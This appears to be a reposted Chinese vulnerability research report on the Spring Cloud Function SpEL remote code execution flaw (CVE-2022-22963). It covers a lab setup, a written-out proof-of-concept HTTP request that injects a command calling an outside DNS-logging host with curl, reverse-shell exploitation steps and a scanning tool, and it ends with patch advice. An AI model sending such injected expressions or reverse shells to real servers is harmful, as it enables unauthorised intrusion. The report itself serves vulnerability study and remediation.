1.1 漏洞信息表
漏洞名称 |
Spring-Cloud-Function-Spel-rce |
发布时间 |
2022年03月26日 |
漏洞编号 |
CVE-2022-22963 |
威胁类型 |
任意代码执行 |
危害级别 |
严重 |
影响版本 |
3.0.0.M3 <= Spring Cloud Function <=3.2.2 |
漏洞描述 |
产品介绍:Spring Cloud Function 是基于 Spring Boot 危害说明:远程代码执行 |
漏洞指纹 |
常用端口/协议:无 请求参数/关键路径(漏洞入口):动态路由functionRoute |
漏洞验证与利用 |
POC: Spring-Cloud-Function-SPEL-RCE.exe EXP: Spring-Cloud-Function-SPEL-RCE.exe |
修复建议 |
正式修复方案:下载官方发布的修复版本进行漏洞修复 临时修复方案:关闭服务 |
参考链接 |
https://blog.csdn.net/Trouble_99/article/details/123851979 |
2.1 漏洞靶机搭建
2.1.1 第三方集成环境
1.安装vulhub漏洞环境
git clone https://github.com/vulhub/vulhub.git
2.安装完vulhub漏洞环境后,进入vulhub文件夹,进入spring文件夹
3.进入CVE-2022-22963文件,这个就是spring-cloud-function-spel表达式注入的漏洞环境,使用docker-compose up -d启动漏洞环境
4.环境端口就是8080,使用浏览器查看发现启动成功,至此环境搭建完成
2.1.2 自行搭建漏洞环境
(详细说明基于自行搭建漏洞环境的过程,并提供文字说明以及相关截图。)
2.2 POC漏洞验证
POST /functionRouter HTTP/1.1
Host: 192.168.1.133:9000
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 6ad0a60b.dns.1433.eu.org.")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
rce
2.3 集成工具验证
1.工具名称:Spring-Cloud-Function-SPEL-RCE.exe,采用golang编写,直接使用即可
2.使用方法:
-h查看使用说明:
3.单个扫描 Spring-Cloud-Function-SPEL-RCE.exe -u http://xxxx
4. 批量扫描
3.1 手工利用
3.1.1 反弹shell
1.攻击机监听端口
2.使用bash反弹,注意需要进行编码
编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
3.burpsuite发送pyload
4.攻击机成功反弹shell
3.2 集成工具利用
1.使用工具检测漏洞
2.探测是否能够出网
3.反弹shell利用
4.1 修复方案1:临时修复方案
采用NDR类、WAF类、RASP类产品,对该漏洞利用进行防护阻断
4.2 修复方案2:标准解决方案
按官方建议升级修复
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
百香果沙盘资料:
1.“百香果”内网安全沙盘2.0bate版使用指南-基础篇:
https://mp.weixin.qq.com/s/o6k3yNXlnQ3FwCciBUmrLw
2.“百香果”内网安全沙盘2.0bate版使用指南-进阶篇:
https://mp.weixin.qq.com/s/nfa2DHkDPE43cIvvRmk1TA
3.“百香果”内网安全沙盘2.0bate版使用指南-高级篇:
https://mp.weixin.qq.com/s/MfWuBm_H7JxAvBKfnTpLZQ
4.基于docker的网络安全靶场搭建-主机篇:https://mp.weixin.qq.com/s/QR9T1TOVIM0sh_TlJhe6Ag
原文始发于微信公众号(国科漏斗社区):Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论